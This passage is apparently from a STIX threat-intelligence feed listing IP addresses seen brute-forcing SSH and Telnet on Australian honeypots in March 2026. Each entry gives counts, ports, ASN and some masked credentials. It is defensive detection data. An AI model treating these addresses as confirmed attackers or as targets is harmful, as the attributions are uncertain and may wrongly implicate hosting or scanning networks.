      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6881d8b6-2f45-4d57-b763-95164ee4d90e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.29.69.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T23:15:05.000Z",
      "valid_until": "2026-05-01T23:15:01.000Z"
    },
    {
      "created": "2026-03-30T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5d8473dd-87a1-471c-b9f1-b010099ed76f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-30T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T23:15:05.000Z",
      "valid_until": "2026-05-01T23:15:01.000Z"
    },
    {
      "created": "2026-03-31T00:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--bd3bb5b9-828f-4e31-9c3f-19e4daa4bef2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.126.237.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T00:15:04.000Z",
      "valid_until": "2026-05-02T00:15:01.000Z"
    },
    {
      "created": "2026-03-31T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--b272360b-de73-4992-a55b-51c2572c5db9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.173.142.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T00:15:04.000Z",
      "valid_until": "2026-05-02T00:15:01.000Z"
    },
    {
      "created": "2026-03-31T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a26f0da1-7291-477a-a58d-751ba3b93b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T01:15:10.000Z",
      "valid_until": "2026-05-02T01:15:01.000Z"
    },
    {
      "created": "2026-03-31T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--106580b3-5073-4217-a4ac-eed738904f88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.201.130.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T01:15:10.000Z",
      "valid_until": "2026-05-02T01:15:01.000Z"
    },
    {
      "created": "2026-03-31T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--5ea09050-3605-4cdb-b65e-6561dc25e904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T01:15:10.000Z",
      "valid_until": "2026-05-02T01:15:01.000Z"
    },
    {
      "created": "2026-03-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--634fa9b8-bfd5-4692-b730-c69122549c20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '44.203.158.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T01:15:10.000Z",
      "valid_until": "2026-05-02T01:15:01.000Z"
    },
    {
      "created": "2026-03-31T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--2ea80ec0-8e68-4237-a468-5577d6e86f32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.2.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:15:04.000Z",
      "valid_until": "2026-05-02T02:15:00.000Z"
    },
    {
      "created": "2026-03-31T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:15:04.000Z",
      "valid_until": "2026-05-02T02:15:00.000Z"
    },
    {
      "created": "2026-03-31T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3302. Organisation(s): Retelit Digital Services S.p.A..",
      "id": "indicator--5b09d2fd-e8a6-4964-b729-1079af4499a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.196.41.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:15:04.000Z",
      "valid_until": "2026-05-02T02:15:00.000Z"
    },
    {
      "created": "2026-03-31T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--28505e21-022e-43f0-8b55-6b886ae2ced0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:15:04.000Z",
      "valid_until": "2026-05-02T02:15:00.000Z"
    },
    {
      "created": "2026-03-31T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45413. Organisation(s): ServeNET Solution Limited Partnership. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******?, 2****0, 3***********4, 3**********4, H*******!.",
      "id": "indicator--944b4ff8-cd19-461a-8dcb-2a1c1b74d1ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.109.2.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T03:15:03.000Z",
      "valid_until": "2026-05-02T03:15:01.000Z"
    },
    {
      "created": "2026-03-31T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--ffa2558a-5fc1-49a5-82d9-dce38237a61f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.206.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T03:15:03.000Z",
      "valid_until": "2026-05-02T03:15:01.000Z"
    },
    {
      "created": "2026-03-31T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--d61b0e0b-15bc-474f-bdb5-70eae7231043",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T03:15:03.000Z",
      "valid_until": "2026-05-02T03:15:01.000Z"
    },
    {
      "created": "2026-03-31T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ffa58ab3-2bc5-43c8-b757-6dc047f3ff94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.176.204.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T03:15:03.000Z",
      "valid_until": "2026-05-02T03:15:01.000Z"
    },
    {
      "created": "2026-03-31T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 134365. Organisation(s): Ansheng Network Technology Co., Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ae5a64c6-7db0-4d6f-b2b4-4968c0ff730e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.197.148.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T03:15:03.000Z",
      "valid_until": "2026-05-02T03:15:01.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0**********8.",
      "id": "indicator--11fb00d1-6dd4-40bf-9e3b-5a0404757333",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.48.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD..",
      "id": "indicator--7335f177-5abe-43ac-8483-cea8236cbd83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.67.164.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): p******d.",
      "id": "indicator--690da607-94a5-4aaa-9c5c-f1e49c5d7200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.123.107.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): $*****$, %***!, 1********!, 3***********4, 3**********4.",
      "id": "indicator--8e2f3c4f-bfa9-4706-9ae8-2c2d795c3647",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.165.124.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, $*****$, %***!, 1********!.",
      "id": "indicator--7518fd8b-c763-4345-8f0f-50dc7487e00c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.226.168.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 229. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****d, 1*******u, A*********..",
      "id": "indicator--4b25562b-a440-4f7a-8377-e5c33c03b971",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.44.15.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bb9e9da5-cbad-4c8a-bf72-5d193bbc0b38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.81.13.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268622. Organisation(s): OLIVEIRA TELECOM. Usernames observed (masked): r**t. Passwords observed (masked): 1****c.",
      "id": "indicator--d8641177-b2dc-46fd-b17a-2c09cf096a7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.164.39.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T04:25:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--077052b5-b7b8-44a8-a15a-85153cf11193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T04:25:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T04:25:50.000Z",
      "valid_until": "2026-05-02T04:25:47.000Z"
    },
    {
      "created": "2026-03-31T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33588. Organisation(s): Charter Communications LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1***6, 1****0, 1**************X, 3***********4, 3**********4.",
      "id": "indicator--fe9d61c3-1fd3-4959-a858-4dc00d469f5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.166.209.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T05:15:03.000Z",
      "valid_until": "2026-05-02T05:15:00.000Z"
    },
    {
      "created": "2026-03-31T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********!, D********3, h*************0.",
      "id": "indicator--cf84764f-a6b2-4024-8d20-f782d576d8fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.160.210.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T05:15:03.000Z",
      "valid_until": "2026-05-02T05:15:00.000Z"
    },
    {
      "created": "2026-03-31T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19108. Organisation(s): Optimum.",
      "id": "indicator--81c890cd-2fd3-4db2-af12-9894e7f181b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.193.122.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T05:15:03.000Z",
      "valid_until": "2026-05-02T05:15:00.000Z"
    },
    {
      "created": "2026-03-31T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********@, 1********B, 1*****1, 1*******d, 3***********4.",
      "id": "indicator--25f96acb-4944-487d-972e-99ec1f1b3fd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.255.152.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T06:15:04.000Z",
      "valid_until": "2026-05-02T06:15:00.000Z"
    },
    {
      "created": "2026-03-31T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7eee1613-1486-4986-b63d-a4e0b4f01698",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T06:15:04.000Z",
      "valid_until": "2026-05-02T06:15:00.000Z"
    },
    {
      "created": "2026-03-31T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e620a3db-96bd-45c3-9824-675c33dfeb48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.95.64.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T06:15:04.000Z",
      "valid_until": "2026-05-02T06:15:00.000Z"
    },
    {
      "created": "2026-03-31T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 300. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 215672. Organisation(s): MoeChuang Network Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, #**********z, 1*******q, 1******x.",
      "id": "indicator--e5879846-971f-453a-a1dc-4911e75a1a0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.158.59.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T06:15:04.000Z",
      "valid_until": "2026-05-02T06:15:00.000Z"
    },
    {
      "created": "2026-03-31T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--a8123170-b0af-4b9f-b1fc-0d3943558565",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.236.143.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T06:15:04.000Z",
      "valid_until": "2026-05-02T06:15:00.000Z"
    },
    {
      "created": "2026-03-31T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 318. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 7992. Organisation(s): Cogeco Connexion Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, #**********z, 1*******q, 1******x.",
      "id": "indicator--07bf4366-847f-4e2d-bcca-ab376e41296b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '57.134.214.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T06:15:04.000Z",
      "valid_until": "2026-05-02T06:15:00.000Z"
    },
    {
      "created": "2026-03-31T06:15:04.000Z",
